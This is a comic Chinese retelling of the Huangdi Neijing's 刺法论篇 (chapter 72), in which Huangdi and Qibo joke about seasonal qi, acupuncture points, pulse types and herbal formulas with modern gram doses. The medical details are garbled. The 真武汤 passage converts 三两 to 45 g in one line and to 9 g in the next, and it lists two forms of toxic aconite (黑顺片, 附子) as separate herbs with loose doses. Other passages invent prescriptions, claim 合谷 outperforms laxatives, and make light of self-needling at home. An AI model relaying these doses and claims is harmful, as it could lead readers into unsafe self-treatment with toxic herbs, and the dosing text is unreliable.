首先，咱们得找到“足太阴脾经”的起点，现代穴位名叫“隐白穴”，它就在你的大脚趾内侧，靠近趾甲根的地方。想象一下，那里就像是一个小小的排水口，轻轻一刺，就能让体内的湿气、郁结之气有个出口。记得哦，针灸可不是乱扎的，得找专业的医师，否则你可能会得到一个“意外惊喜”——比如脚趾头突然有了自己的想法，开始跳舞！ 接下来，咱们还要拜访一下“足阳明胃经”的终点，现代穴位名叫“厉兑穴”，它藏在你的第二脚趾外侧，趾甲根旁边一点点。厉兑穴就像是胃经上的一座“小山丘”，针灸这里，就像是给胃经做了一个小小的“山体滑坡”，让郁结之气顺畅地滑下去，不再拥堵。 不过，说了这么多，你可能要问了：“就这么简单扎两针，病就好了？”嘿，岐伯大神的智慧可不止于此。针灸只是打开了通道，要想彻底解决问题，还得靠我们平时的生活方式、饮食习惯来调整。比如，少吃点冷饮，别让身体内部也“穿上增高鞋垫”；多吃点薏米、红豆这些利湿的食物，给身体来个“内部除湿”。 说到这里，不得不提一句，中医里的“方剂”也是调理身体的好帮手。虽然没有直接提到方剂，但我们可以根据这段理论，构想一个“解郁利湿汤”。想象一下，这个汤里得有薏米（50克），它就像一把小铲子，帮你铲除体内的湿气；红豆（30克），它可是利湿界的“暖男”，既能利湿又能暖心；再加上茯苓（20克），这家伙可是个“吸水大户”，能把体内的多余水分统统吸走；最后来点陈皮（10克），它就像一位和蔼的老中医，帮你理气解郁，让你的心情也跟着好起来。 把这些材料放到锅里，加足够的水，小火慢炖，直到汤色变得温柔而清澈，就像是大自然中的清泉，缓缓流入你的心田。喝上一碗，保证你从头到脚都舒爽，那些郁结之气、湿气统统跑得无影无踪。 至于脉象嘛，这可是中医诊断的绝活！如果体内湿气重、有郁结，脉象可能会显得“沉迟”或者“弦滑”。沉迟就像是一个懒洋洋的人，慢条斯理地走着；弦滑呢，就像是根滑滑的绳子，摸起来有点紧张感。不过，别担心，只要你按照岐伯的方法，针灸加食疗，过一段时间再摸摸自己的脉，嘿，说不定就变成了“平和有力”的脉象，就像是一位精神抖擞的运动员，准备冲刺呢！ 刺法论篇第七十二（三） 有一天，黄帝陛下闲来无事，便找来了岐伯，打算聊聊关于五运六气那些高大上的事儿。黄帝陛下开口了：“嘿，岐伯，你说这五运之气啊，它们来来往往，升降起伏，有时候还玩起承前启后、互相打压的游戏，真是让人捉摸不透啊！那么，咱们能不能用针刺的方法来调理这些调皮捣蛋的气儿呢？快给我讲讲吧！” 岐伯一听，微微一笑，捋了捋他那飘逸的白胡子，故作神秘地说：“这事儿啊，简单！关键是要找准它们的‘化源’，就是它们的老巢。要是哪个气儿太嚣张了，咱们就给它来个‘釜底抽薪’，直接刺它的化源，让它嚣张不起来。要是哪个气儿太弱了，咱们就给它加加油，打打气，让它振作起来。这就叫‘太过取之，不及资之’。” 黄帝一听，眼睛一亮，笑道：“哈哈，这方法听起来挺过瘾啊！不过，具体怎么操作呢？比如说，哪个气儿太嚣张了，咱们刺哪个穴位？哪个气儿太弱了，咱们又该怎么给它加油打气呢？” 岐伯不慌不忙，继续讲解：“比如说啊，要是木运之气太嚣张了，咱们就刺它的化源——肝经上的太冲穴。这个太冲穴啊，就像是木运之气的总开关，一刺下去，它就得老实点儿。要是木运之气太弱了，咱们就得给它补补，可以灸灸肝经上的行间穴，让它感受到温暖和力量。” 黄帝一听，哈哈大笑：“原来如此，真是简单粗暴又实用啊！不过，岐伯，你这‘资取之法’听起来挺神秘的，是不是有什么独门秘籍啊？快拿出来分享一下嘛！” 岐伯故作神秘地笑了笑，从怀里掏出一本泛黄的小册子，上面赫然写着《密语》二字。黄帝一看，眼睛都快绿了：“哇塞，这《密语》里到底藏着什么宝贝啊？快给我瞅瞅！” 岐伯却卖了个关子：“嘿嘿，这《密语》啊，可是咱们中医界的传家宝，不能随便给人看的。不过呢，既然你黄帝陛下都这么说了，那我就给你透露一点点吧。” 岐伯清了清嗓子，继续说道：“比如说啊，要是水运之气太弱了，咱们就得给它补补。这时候，咱们可以用一个叫做‘真武汤’的方子。这个方子啊，里面有茯苓、白术、生姜、黑顺片和附子五味药。茯苓和白术能健脾利湿，生姜能温阳散寒，黑顺片和附子能温补肾阳。五味药一起用，就能让水运之气振作起来，不再那么虚弱了。” 黄帝一听，眼睛又亮了：“哇塞，这真武汤听起来好牛掰啊！不过，这五味药用多少量呢？总不能随便抓一把吧？” 岐伯笑了笑，说：“这你就不懂了吧。茯苓得用个三两（换算成现代就是45克），白术也得三两（9克），生姜得用三两（9克），黑顺片得用一枚（大约10克，不过要注意啊，这个黑顺片可是有毒的，得在医生的指导下用），附子得用一枚（大约8克，同样也得小心使用）。这样配出来的真武汤，效果杠杠的！” 黄帝一听，笑得合不拢嘴：“哈哈，这下我可学会了！以后谁要是水运之气弱了，我就给他来一碗真武汤，保证他精神焕发，活力四射！” 岐伯却摇了摇头，笑道：“黄帝陛下啊，你可别高兴得太早。这针刺和方剂啊，都是得在辩证的基础上使用的。要是辩证不准确，用错了方法，那可是会适得其反的哦！” 黄帝一脸认真地发问了：“嘿，岐伯老兄，咱们聊聊那个升降针刺的奥秘吧，这可是个技术活儿，我想彻底搞明白它的精髓。要是天上的‘司天之气’没能按时换班，导致自然界的规律乱了套，万物生长岂不是都要乱成一锅粥了？更别提这混乱之气落到老百姓头上，那可就是各种疾病的源头啊！我想咱们得想办法提前把这病根儿给拔了，救救广大的黎民百姓。来来来，你赶紧给我讲讲这其中的门道。” 岐伯一听，连忙恭敬地行了个大礼，笑着说：“哈哈，陛下您这问题问得真是太到位了，简直直击要害啊！看您这慈悲心肠，一心想着普度众生，我这当臣子的哪敢不尽心尽力呢？来来来，咱们这就开讲，保证让您听得明明白白，连那些微妙的细节都能给您剖析得透透的。” 黄帝一听，眼睛一亮，催促道：“快讲快讲，我这耳朵都竖起来了！” 岐伯清了清嗓子，开始 了他的讲解：“咱们先说这升降针刺啊，其实就相当于给身体做了一次深度spa，不过这次的技师不是按摩师，而是咱们中医的银针。人体里啊，有那么几条经络，就像是城市里的主干道，比如说咱们现代说的‘足三里’穴，那可是胃经的‘交通警察’，管着消化吸收的大事儿。要是胃气升降不正常，人就得吃嘛嘛不香，还可能胃胀得跟个小皮球似的。这时候，咱们就用银针轻轻一刺，嘿，就像是给胃经的路障清理了一下，立马就通顺了！” 黄帝听得津津有味，笑道：“哈哈，你这比喻有意思，那其他经络呢？” 岐伯接着说：“再比如‘太冲’穴，这可是肝经的‘情绪调节器’，现代人压力大，肝气郁结是常事儿，动不动就发火或者抑郁。这时候，针刺太冲，就像是给肝脏开了一扇窗，让郁气‘嗖’地一下就排出去了，心情自然就舒畅多了。还有啊，‘合谷’穴，这是大肠经的‘开关’，便秘的朋友可得记住了，按一按，揉一揉，保证你畅通无阻，比吃泻药还管用呢！” 黄帝听了哈哈大笑：“这简直比现代的科技还神奇啊！那要是司天之气不正常，咱们怎么通过针灸来调整呢？” 岐伯神秘一笑：“这事儿啊，得结合五行生克来看。比如说，今年要是‘木气’太过，人就容易肝气旺盛，脾气暴躁，咱们就可以多刺激‘行间’穴，它是肝经的‘灭火器’，能平息肝火。而如果是‘火气’太过，那心火旺盛，人就容易失眠多梦，这时候，咱们就得找‘神门’穴聊聊了，它是心经的‘安神丸’，一针下去，保证你睡得比婴儿还香。” 黄帝点头称赞：“妙哉妙哉！那要是想配个方子，辅助治疗，又该如何呢？” 岐伯摸了摸下巴，思考片刻：“这个嘛，咱们得根据具体情况来定。比如说，肝气郁结的人，可以用‘逍遥散’，配方嘛，就像是个和谐的大家庭，柴胡是家长，负责疏肝理气；当归和白芍就像是温柔的妈妈，补血养血；白术、茯苓和甘草呢，就像是勤劳的爸爸，健脾益气，调和药性。换算成现代的克数，大概就是柴胡15克，当归15克，白芍15克，白术15克，茯苓15克，甘草10克，水煎服，一日两次，保证你肝气舒畅，心情美美哒。” 黄帝听得乐不可支：“你这方子不仅治病，听起来还挺有诗意的嘛！那脉象呢？怎么通过脉象判断身体的问题？” 岐伯笑道：“脉象这事儿，就像是听心跳讲故事。比如说，弦脉吧，就像摸到了一根紧绷的琴弦，这通常是肝气不舒的表现，咱们前面说过的‘逍遥散’就派上用场了。再比如滑脉，滑溜溜的，像是摸到了滚动的珠子，这往往是痰湿重的表现，得用点化痰湿的方子，比如‘二陈汤’，陈皮、半夏、茯苓、甘草，各10克，水煎服，祛湿效果杠杠的。” 黄帝问岐伯：“嘿，岐伯兄，你说这太阳要是闹起脾气来，咱们身体里的那些小分队——五脏六腑、经络穴位啥的，会咋整啊？” 岐伯捋了捋他那飘逸的胡子，慢悠悠地说：“这事儿啊，得从太阳复布说起。你想啊，太阳就像咱们家的老大哥，它要是工作得太猛，或者不按规矩出牌，那小弟们——比如厥阴风木这位，就得遭殃了，它就没法按时到岗，也就是咱们说的‘不迁正’。” 黄帝一听，眉头一皱：“哦？那厥阴不迁正，会有什么后果呢？” 岐伯接着说：“这不迁正啊，就好比厥阴风木这位老兄，本该去疏通气血、调节情志的，结果它堵在上头了，气血不畅，人就容易头疼脑热，心情也跟着郁闷起来。这时候啊，咱们得给它疏通疏通，怎么办呢？就得泻一泻足厥阴肝经的那个‘太冲穴’。” 黄帝一听，眼睛一亮：“太冲穴？听起来挺有杀伤力的嘛！这穴位在哪？怎么泻？” 岐伯笑了笑：“太冲穴啊，就在咱们脚丫子的大拇指和二拇指之间，往后一挪，那个凹进去的地方就是。泻它嘛，简单，找根银针，消消毒，轻轻扎进去，稍微扭一扭，就像给气球放放气一样，气血就通顺了。不过啊，这活儿得专业人士来干，不然扎错了地方，可就成‘自残’现场了。” 黄帝一听，哈哈大笑：“原来如此，看来以后得找个中 医高手当保镖了！” 岐伯也跟着笑：“哈哈，黄帝兄，你这想法挺逗。不过话说回来，除了针灸，咱们还可以通过吃药来调理。比如，来个‘疏肝解郁汤’，保证厥阴风木这位老兄乖乖听话。” 黄帝好奇地问：“疏肝解郁汤？听起来像是给心情开的一剂良药啊！怎么做？” 岐伯解释道：“这方子啊，得备上柴胡15克，它就像个向导，能带着药力直达厥阴肝经；白芍12克，它温柔得很，能养血柔肝，让肝不那么急躁；枳壳9克，这家伙行气宽中，帮肝把堵着的气儿给顺出去；炙甘草6克，调和一下药性，免得大家闹矛盾。把这些药材放到锅里，加水没过药材，大火烧开转小火，慢慢熬上个半小时，一碗香喷喷的疏肝解郁汤就成了。” 黄帝一听，笑得合不拢嘴：“哈哈，这方子听起来就像是在给肝脏开了一场派对，柴胡是dj，白芍是温柔的服务生，枳壳是那个活跃气氛的，炙甘草就是那个和事佬。这药一喝，肝脏的郁闷情绪估计都能随着汗水排出去了！” 岐伯点头：“正是如此。不过啊，黄帝兄，咱们还得聊聊脉象。脉象这东西，就像是身体的天气预报，能反映出身体的状况。比如，厥阴不迁正的时候，脉象往往弦而紧，就像琴弦被拉得紧紧的，一触即发。这时候啊，咱们就得小心了，得赶紧采取措施，不然，身体就要拉响警报啦！” 黄帝听得津津有味：“弦而紧的脉象，听起来就像是身体在喊：‘喂，注意啦，我这儿有点堵！’咱们得赶紧疏通，不然，这身体的小宇宙就要爆炸啦！” 岐伯笑着点头：“对，黄帝兄，你这比喻真是绝了！所以啊，咱们平时得多留意身体的信号，一旦发现问题，就得及时调理，别等到小病变大病，那时候可就麻烦了。” 岐伯又开腔了：“哎，你知道吗？要是那个厥阴经（咱们现在说的肝经啦）它调皮捣蛋，不按照规矩来，非要搞点特殊，跟少阴经（肾经）抢地盘，结果俩人都不好好站岗，上面的气就堵得慌，这可咋整？简单，咱们就给它来个‘心包络大冒险’！” 哈哈，别紧张，这里的“心包络大冒险”可不是真的去探险，而是中医里的针灸疗法。心包络，就是咱们现在说的心包经，它可是个“和事佬”，能帮咱们疏通那些堵得慌的气儿。岐伯大神说的“刺心包络脉之所流”，翻译成现代话，就是找心包经上那些流动顺畅的穴位扎一针，让气血重新流动起来。 那么，咱们要找哪个穴位呢？答案揭晓——曲泽穴！这个穴位就像是心包经上的“交通枢纽”，气血在这里汇聚，给它来个小刺激，就能让气血畅通无阻了。想象一下，曲泽穴就像是高速公路上的收费站，偶尔堵车，咱们轻轻一推，交通立马恢复顺畅！ 不过，针灸这事儿，可不是随便找个针就扎的，得讲究个手法和力度。你得找个专业的针灸师，他们手法娴熟，力度适中，保证让你既舒服又有效。当然了，如果你觉得自己手够稳，也可以在家备一套无菌针灸针，但记得先学习学习，别把自己扎成“筛子”了！ 说到这里，你可能会想，除了针灸，还有啥招儿能对付这些“小叛逆”呢？别急，岐伯大神还有后招呢！不过，这次咱们得换个思路，从吃的方面入手。想象一下，你的身体就像一台机器，有时候得加点“润滑油”才能运转得更顺畅。 岐伯推荐的“润滑油”啊，其实就是一些中药方剂。不过，咱们得把古代的剂量换算成现代的克数，不然一不小心就可能变成“药罐子”了。比如说，来个“疏肝解郁汤”，里面包含柴胡、白芍、枳壳、炙甘草这些药材，每种来个10-15克，煮成一锅香喷喷的汤，喝下去，保证你心情舒畅，气血通顺。 这“疏肝解郁汤”啊，就像是给肝脏洗了个热水澡，让它放松放松，不再那么紧绷绷的。柴胡就像是肝脏的“按摩师”，轻轻柔柔地给它按摩；白芍呢，就像是肝脏的“营养师”，给它补充点能量；枳壳和炙甘草则是“和事佬”，帮它们调节调节，别让它们吵起来。 不过啊，喝药这事儿也得悠着点，毕竟“是药三分毒”，得在医生的指导下喝，别把自己喝成“药罐子”了。而且啊，这药也 不是万能的，关键还是得靠咱们平时的生活习惯和心态来调整。 说到心态啊，这可得好好聊聊。你知道吗？岐伯说的那些“小叛逆”，其实很多时候都是咱们自己“作”出来的。比如说啊，经常熬夜、压力大、饮食不规律，这些都会让身体内部的“小叛逆”们蠢蠢欲动。所以啊，咱们得学会调整自己的心态和生活习惯，别让这些小家伙有机可乘。 就像咱们平时开车一样，得遵守交通规则，不然就容易出事故。身体也是一样的道理啊，得按照规矩来运转，别总是想着“走捷径”、“闯红灯”。不然啊，那些“小叛逆”们就会趁机捣乱，让你头疼脑热、浑身不自在。 所以啊，咱们得学会“哄”着身体这些小家伙们。平时多锻炼锻炼，让它们活动活动筋骨；吃得健康点，给它们提供点营养；心态放平和点，别总是那么焦虑紧张。这样一来啊，它们就会乖乖听话了，咱们的身体也就越来越棒了！ 刺法论篇第七十二（四） 黄帝又来请教问题了：“岐伯啊，我听说少阴这家伙又开始调皮捣蛋，太阴呢，又懒得不肯按时换班，这可咋整啊？” 岐伯一听，他笑眯眯地说：“黄帝啊，你这问题问得好，咱们先来聊聊这少阴和太阴的‘恩怨情仇’吧。” 岐伯清了清嗓子，开始了他的医学讲解：“少阴这家伙啊，就像是个调皮捣蛋的孩子，一到换季的时候，就想着怎么捣乱。这不，它又开始复布（复发、扩散）它的势力范围了。而太阴呢，就像是个懒洋洋的大胖子，一到点该上班（迁正，即按时更替）的时候，就想着再睡会儿懒觉，不肯挪窝。这不挪窝啊，结果就是气（这里指的是自然界的正常气候或人体的正气）全留在上面下不来了。” 黄帝一听，乐了：“岐伯，您这比喻真是太形象了！那咱们该怎么对付这两个‘捣蛋鬼’呢？” 岐伯微微一笑，说：“对付它们啊，咱们得用点儿‘智慧’和‘武力’结合的方法。首先，咱们得找到足太阴脾经的‘流注穴’（中医术语，指经络中气血运行经过和停留的部位），给它来点儿‘刺激’！” 黄帝一听，眼睛一亮：“流注穴？那具体是哪个穴位呢？咱们现代的穴位名称又是什么呢？” 岐伯哈哈一笑：“现代的穴位名称啊，那就是‘公孙穴’！公孙穴啊，它就像是脾经上的一个小警察，专门负责维持秩序。咱们刺激它一下，就能让脾经的气血流动起来，把留在上面的‘邪气’给赶下去！” 黄帝一听，连连点头：“岐伯，那咱们该怎么刺激公孙穴呢？” 岐伯点了点头，拿起针灸针，一边操作一边讲解：“针灸公孙穴啊，得注意手法和力度。你得先找到公孙穴的位置——它在足内侧缘，当第一跖骨基底部的前下方。然后啊，你得用适当的力度刺入，感觉到那种‘酸、麻、胀’的感觉就对了！这就像是在给脾经做了一次‘按摩’，让它重新焕发生机！” 岐伯继续说道：“要是那太阴之气（咱们可以理解为天空中的阴云，或者身体里的某种湿润、寒凉的能量）突然间又卷土重来，占了上风，而少阳这位老兄呢，却偏偏不按套路出牌，不肯乖乖地移到它该去的地方——正位，这可咋整呢？”嘿，这少阳啊，就像是上班路上的那个懒猫，明明该去开会了，却赖在床上不起来，结果呢，交通堵塞了，气血流通不畅，整个身体的小宇宙都要乱套了！ 岐伯接着说：“这时候啊，咱们得采取点行动，得给这位懒猫少阳老弟一点颜色瞧瞧，怎么办呢？刺它！刺哪里呢？刺手少阳经的‘流注’之处。”哎，这里说的“流注”，可不是说让血液流得满地都是，而是指手少阳经上那个能让气血顺畅流动的关键穴位——在现代，咱们称它为“中渚穴”。 想象一下，中渚穴就像是少阳经上的一个小水泵，轻轻一按，气血就开始欢快地流动起来，那些因为少阳偷懒而堵塞的地方，瞬间就被打通了。这可比每天早上喝咖啡提神醒脑来得健康多了！ 不过，咱们可别真的拿起针来就扎，那可不是闹着玩的。得找专业的中医大夫，他们手法娴熟，一针下去，保证少阳老弟立刻精神抖擞，乖乖回到工作岗位上。当然，如果你是个diy爱好者，非得自己试试，那我可得提醒你，安全第一，还是乖乖去找个老师傅学习学习吧！ 说到这，咱们不妨再聊聊中医里的方剂。有这么一个方子，专门对付这种“少阳不迁正”的情况。咱们就叫它“少阳活力汤”吧！ 这“少阳活力汤”啊，得包含以下几位药材：柴胡15克（就像给少阳老弟打气的小气球，让它振作起来），黄芩10克（清热燥湿，帮少阳老弟扫清障碍），白芍12克（养血柔肝，让气血更加顺畅），枳壳9克（行气宽中，给少阳老弟开开路），炙甘草6克（调和药性，就像给这方子加点甜味，让它更受欢迎）。 把这些药材放到一起，加水煮沸，然后小火慢炖个半小时，一碗香喷喷的“少阳活力汤”就出炉了。喝下去之后，保证你整个人都精神焕发，好像身体里的小太阳又升起来了！ 不过，话说回来，中医讲究的是辨证施治，每个人的体质和病情都不一样，所以这个“ 少阳活力汤”只是个大致的方子，具体还得根据个人的情况来调整。 再来说说脉象吧。中医看病，望闻问切，切脉可是个大学问。如果少阳不迁正，脉象上会有什么表现呢？嘿，你可能会发现脉象变得有点“懒”了，就像那少阳老弟一样，懒洋洋的，缺乏活力。具体来说，就是脉象可能偏沉、偏缓，甚至有点涩滞的感觉。 这时候啊，你就得注意了，这可能是身体在提醒你，该给少阳老弟加加油了！不过，切脉这事儿可不是一朝一夕就能学会的，得靠多年的经验和积累。所以啊，咱们还是乖乖把这事儿交给专业的中医大夫去做吧！ 黄帝问岐伯：“嘿，岐伯，你说这少阳之气要是调皮捣蛋，不按照规矩来，阳明之气就跟着捣乱，不上岗工作，这可咋整啊？” 岐伯一听，微微一笑，说：“这事儿啊，简单！咱们得给这阳气来个‘思想教育’，让它乖乖听话。” 岐伯接着说：“少阳这家伙要是复布（就是乱跑）了，阳明大哥就愣在原地，不迁正（就是不按节气该到的位置去），这样一来，气血就不通上（就是气血循环不畅），人就要遭殃了。这时候，咱们得动手，哦不对，是动针！得找手太阴肺经上的一个穴位，给它来点刺激，让它知道谁是老大！” 咱们现代人一听，手太阴肺经？这不就是咱们常说的肺经嘛！岐伯说的那个穴位，按照现代穴位名称，就是“太渊穴”。太渊穴啊，那可是肺经上的大腕儿，位于手腕横纹上，桡动脉搏动处，轻轻一按，就能感受到生命的脉动。 想象一下，岐伯那时候没有现代针灸针，可能用的是石针、竹针啥的，但效果一样杠杠的。他要是给病人扎太渊穴，那手法，绝对是行云流水，一针下去，病人可能就“哎哟”一声，然后觉得一股暖流从手腕直冲云霄，整个人都精神了！ 不过，咱们现代人可不能直接上手就扎，得讲究个方式方法。首先，你得找个靠谱的中医大夫，或者自己学学针灸的基础知识，毕竟安全第一嘛！然后，找个安静舒适的地方，放松身心，让大夫或者自己（如果你够自信）用消毒过的针灸针，轻轻刺入太渊穴，不用太深，大约0.3-0.5寸（也就是几毫米到一厘米）就够了。这时候，你可能会感到轻微的酸胀感，或者像电流通过一样，那就是气血在流动啦！ 当然啦，除了针灸，岐伯可能还会开方子。不过，岐伯那时候的药材，咱们现代人可能见都没见过，就算见到了，也不一定认识。但别担心，中医的智慧在于辨证施治，咱们可以根据现代人的体质和病情，适当调整药方。 比如说，如果是因为少阳之气不调导致的肺气不足，咱们可以用点黄芪、党参补补肺气，再用点陈皮、半夏理理气，让气血运行得更顺畅。这方子咋配呢？嗯，黄芪来个30克，党参20克，陈皮10克，半夏9克，加点水煎服，一天喝个两三次，效果杠杠的！ 岐伯说：“哎，陛下知道不？要是人体的阳明经（那可是负责消化、吸收，还有一身阳气的大管家）突然开始调皮捣蛋，不按照规矩来，到处乱跑，而太阳经呢，又像个固执的老头，死活不肯挪窝，不肯正常交接班，这可咋整？” 黄帝竖起耳朵，准备听歧伯的高见。岐伯见状，微微一笑，继续说道：“这阳明经不按套路出牌，太阳经又死心眼儿，俩人在那儿‘杠’上了，结果呢？气儿就堵在那儿了，跟高速公路大堵车似的，你说难受不难受？” 黄帝连连点头，心里想着：岐伯这比喻，真是太接地气了！ 岐伯接着说：“这时候啊，咱们得出手干预，不能让它们这么任性下去。怎么办呢？得找个‘调解员’，谁呢？就是足少阴肾经上的‘太溪穴’！这太溪穴啊，就像是肾脏的小秘书，专门负责疏通经络，调和气血的。给它来上一针，嘿，保证那堵得严严实实的气儿，‘嗖’的一下就通了！” 黄帝一听，眼睛都亮了，原来太溪穴还有这功能，真是涨知识了！不过，他心里也犯嘀咕：岐伯，这穴位按摩或者针灸还行，但要是说成药方，那可得仔细讲讲了。 岐伯一看黄帝的表情，就知道他在想什么，于是清了清嗓子，说：“来来来，咱 们再聊聊怎么配一剂‘疏通气血汤’。这方子啊，其实简单得很，但效果嘛，杠杠的！首先，咱们得找些补肾益气的药材，比如熟地黄（这可是补肾界的明星，相当于给肾脏穿上了一层‘防弹衣’），来个30克；再加点山药（山药啊，就像是大自然的‘脾胃小护士’，既能健脾又能补肾），也是30克；还有山萸肉（这可是固肾涩精的高手），20克；泽泻（排水消肿的小能手），15克；茯苓（祛湿健脾的好帮手），15克；丹皮（清热凉血，还能活血化瘀），10克。怎么样，这方子听起来是不是挺有料的？” 黄帝一听，点了点头，心里想着：这方子不仅药材常见，而且搭配得恰到好处，简直就是为现代人量身定制的“气血疏通神器”啊！ 不过，岐伯话锋一转，又说：“但是啊，光有药方可不行，还得注意生活习惯。就像阳明经和太阳经那俩家伙，为啥会闹别扭？还不是因为咱们平时饮食不规律，作息混乱，把身体给折腾坏了！所以啊，要想身体好，得从根源上解决问题，规律作息，健康饮食，这才是王道！” 黄帝清了清嗓子，说：“岐伯啊，你说这自然界的节气变化，有时候就像咱们朝廷里的官员升迁，有时候就是不动窝，这可真是让人捉摸不透啊！我听说有个叫‘迁正不前’的现象，你给我讲讲，这背后的门道儿是什么？还有啊，要是这节气它‘不退’，就像那些贪恋权位的老臣一样，咱们怎么把它给‘折’了，还不出错呢？这事儿你能给我说明白不？” 岐伯一听，心里暗笑黄帝这比喻真是绝了，于是捋了捋胡子，慢悠悠地说：“陛下啊，这事儿得从咱们的天地之气说起。您知道，自然界的气儿有时候多了那么一点点，就像咱们吃饭吃多了，得消化消化不是？这‘气过有余’啊，就是自然界的气儿太多了，它得找个地儿发泄，于是就‘复作布正’，说白了就是原来的节气它不走，还赖在那儿了，这就是‘不退位’嘛！” 黄帝一听，眼睛一亮：“哦？这么说来，这节气‘不退位’，就像家里的小孩儿不想上学，赖在床上不起床是一样的道理？” 岐伯哈哈大笑：“正是如此！不过呢，这节气‘不退位’，可不仅仅是赖床那么简单。它还会影响到咱们的大地妈妈，让地气没法儿按时更新，就像咱们的衣服穿久了得换新的，不然就得有味儿了。大地妈妈也一样，新的司天之气（就是掌管一年气候的大佬）没法儿上位，那就只能让旧的气儿继续当家做主了。” 黄帝挠了挠头：“那这可怎么办？总不能一直让这节气赖着不走吧？” 岐伯神秘一笑：“陛下别急，咱们有招儿！虽然这节气它不想走，但咱们可以给它制造点儿‘压力’，让它不得不走。怎么制造压力呢？就是让天地之气自己调节，该走的走，该来的来，别让它们乱了套。就像咱们朝廷里，虽然有时候官员们也想赖着不走，但总得有个规矩，对吧？” 黄帝一听，恍然大悟：“原来如此！那这事儿咱们就交给天地之气自己去处理吧，咱们就坐观其变，看它们怎么斗智斗勇！” 岐伯点了点头：“正是如此。不过呢，陛下，这事儿虽然看似简单，但其中蕴含的天地之理，却是深奥无比。咱们人啊，还是得敬畏自然，顺应自然，才能和这天地之气和谐共处。” 黄帝听了，深感赞同，于是两人又聊起了其他话题。不过呢，这场“吐槽大会”却让黄帝对自然界的节气变化有了更深的理解。 说到这“不退位”的节气，咱们还可以再举个例子，让它更接地气一些。比如说，这夏天吧，本来应该是热气腾腾，万物茂盛的时候，但如果这夏天的节气它“不退位”，就像个顽固的老头儿，死活不肯把位置让给秋天，那可就麻烦了。咱们就会感觉这夏天怎么过啊，热得跟蒸笼似的，连电风扇都吹不出凉风来。 这时候呢，咱们就得想想办法，怎么让这夏天的节气“退位”。当然了，咱们不能真的去跟它谈判，但咱们可以调整自己的生活方式，比如多喝水，吃点儿清淡的食物，别让身体也跟着“不退位”，热得受不了。 还有啊，这节气“不退位”的现象，其实也在提醒咱们，要顺应自然规律，别总是 逆着来。就像咱们有时候想熬夜，但身体却告诉咱们该睡觉了；有时候想大吃大喝，但肠胃却告诉咱们该吃点儿清淡的。这都是自然界在告诉咱们，要顺应节气变化，保持身心健康。 刺法论篇第七十二（五） 黄帝突然问岐伯：“嘿，老岐，你说这巳亥之年，天气怎么就这么怪呢？”岐伯一听，立刻摆出一副老学究的样子，慢悠悠地说：“哎呀，这事儿啊，简单！巳亥之岁，天数有余，所以那厥阴风木就像个固执的老头，死活不肯退位让贤。” 黄帝一听，愣住了：“啥？厥阴风木不退位？这是要闹哪样？”岐伯笑了笑，解释道：“你想想，风木之气要是赖着不走，那风不就呼呼地往上吹嘛，整个天空都被这股子木气给占领了。这时候，咱们人体里的肝啊，也跟着起哄，肝气郁结，身体能舒服吗？” 黄帝一听，恍然大悟：“哦，原来如此！那咱得想办法治治这‘厥阴不退位’的毛病啊！”岐伯点了点头，说：“没错，治它！咱们得刺足厥阴肝经的穴位，让它知道谁是老大！” 说到这，咱们得插一句，这足厥阴肝经啊，可是人体里的重要经络，它跟咱们的情绪、睡眠、消化都有莫大的关系。要是它出了问题，那可是牵一发而动全身的事儿。 岐伯接着说：“要刺的穴位啊，就是足厥阴肝经的‘曲泉穴’。这曲泉穴啊，就像是肝经里的一口井，能把多余的肝气给泄出去。你想象一下，肝气郁结就像是一股子闷气憋在胸口，刺这曲泉穴呢，就像是给这股子闷气找了个出口，让它嗖的一下子就出去了，整个人都轻松了！” 黄帝一听，乐了：“哈哈，这穴位名字还挺有意思，曲泉，曲泉，是不是就像个弯弯曲曲的小泉眼啊？”岐伯点了点头：“没错，就是这意思。不过啊，刺穴这事儿可得讲究手法和力度，要不然可就成了‘瞎刺’了。” 说到这，咱们得插一句，这刺穴啊，可不是闹着玩儿的。你得先找准穴位，然后用消毒过的针，轻轻地、缓缓地刺进去，还得掌握好深度和角度。要不然啊，轻则没有效果，重则还可能伤了身体呢！ 岐伯接着又说：“当然了，除了刺穴之外啊，咱们还得注意饮食起居。你得知道，肝是喜欢疏泄的，你得让它痛痛快快地‘发泄’出来才行。所以啊，你得多吃点疏肝解郁的食物，比如那绿豆啊、芹菜啊之类的。还有啊，千万别熬夜，熬夜可是最伤肝的！” 黄帝一听，连连点头：“对对对，你说得都对！看来啊，这养生之道还真是深奥得很呢！”岐伯笑了笑：“养生嘛，说白了就是跟自己的身体做朋友，你得了解它、关心它、爱护它才行。要不然啊，它可是会‘罢工’的哦！” 岐伯捋了捋他的长胡子，慢悠悠地说：“哎，陛下知道吗？在子午年那会儿啊，天上的能量啊，那是满满当当的，多得都溢出来了！就像你妈给你做的红烧肉，满满一盘，根本吃不完嘛！这就导致了啥？少阴这家伙，它本该退场的，结果愣是没挪窝，还在那儿热乎乎地待着。” “这少阴不退位，可热闹了！热气呼呼地往上冲，就像夏天你吃火锅，那个汗啊，哗哗的！这不，天上的火气也跟着凑热闹，到处‘撒欢儿’，咱们得想办法给它降降温。”岐伯接着说，“怎么办呢？得找个穴位，给它来个‘透心凉’！在古代啊，这穴位叫‘手厥阴之所入’，听起来是不是挺玄乎的？其实，放到现代，它就是咱们的手心包经上的一个重要穴位——中冲穴！” 想象一下，中冲穴就像是你手指上的“灭火器”，一按下去，那股子热气就“嗖”地一下被灭了。所以，岐伯老爷爷建议，子午年那会儿，要是感觉心里火烧火燎的，不妨找个安全的地方，拿出你的银针（当然啦，现在咱们可以用针灸针，安全第一！），对着中冲穴轻轻一扎，嘿，那叫一个舒坦！ 说到这，我突然想起一个笑话。有一天，小明问他的中医爷爷：“爷爷，子午年要是少阴不退位，是不是得吃一副‘退火大餐’啊？”爷爷一愣，然后哈哈大笑：“你这小子，还退火大餐呢，咱们中医讲究的是调和，不是硬碰硬。不过，要是真说吃什么能降火，我倒是可以给你推荐个食疗方子，比如绿豆汤，清热解毒，就像是给身体喝了一杯冰镇可乐！” 说到绿豆汤，那可是夏天的解暑神器啊！做法也简单，就 是把绿豆洗干净，加水煮，煮到绿豆开花，加点冰糖，一碗清甜爽口的绿豆汤就完成了。不过，咱们这里可不是真的要做药，只是借个喻，说明岐伯的意思——要用温和的方式，调和身体的不平衡。 再聊聊脉象吧，岐伯说，子午年那会儿，因为热气太盛，人的脉象啊，就像是夏天的高速公路，热得都“烫脚”了，脉搏跳动得又快又有力，就像是你在烈日下狂奔，心跳得像是要跳出胸膛一样。这时候，中医大夫一摸脉，心里就有数了：“嘿，这家伙，肯定是少阴不退位，得给他调理调理！” 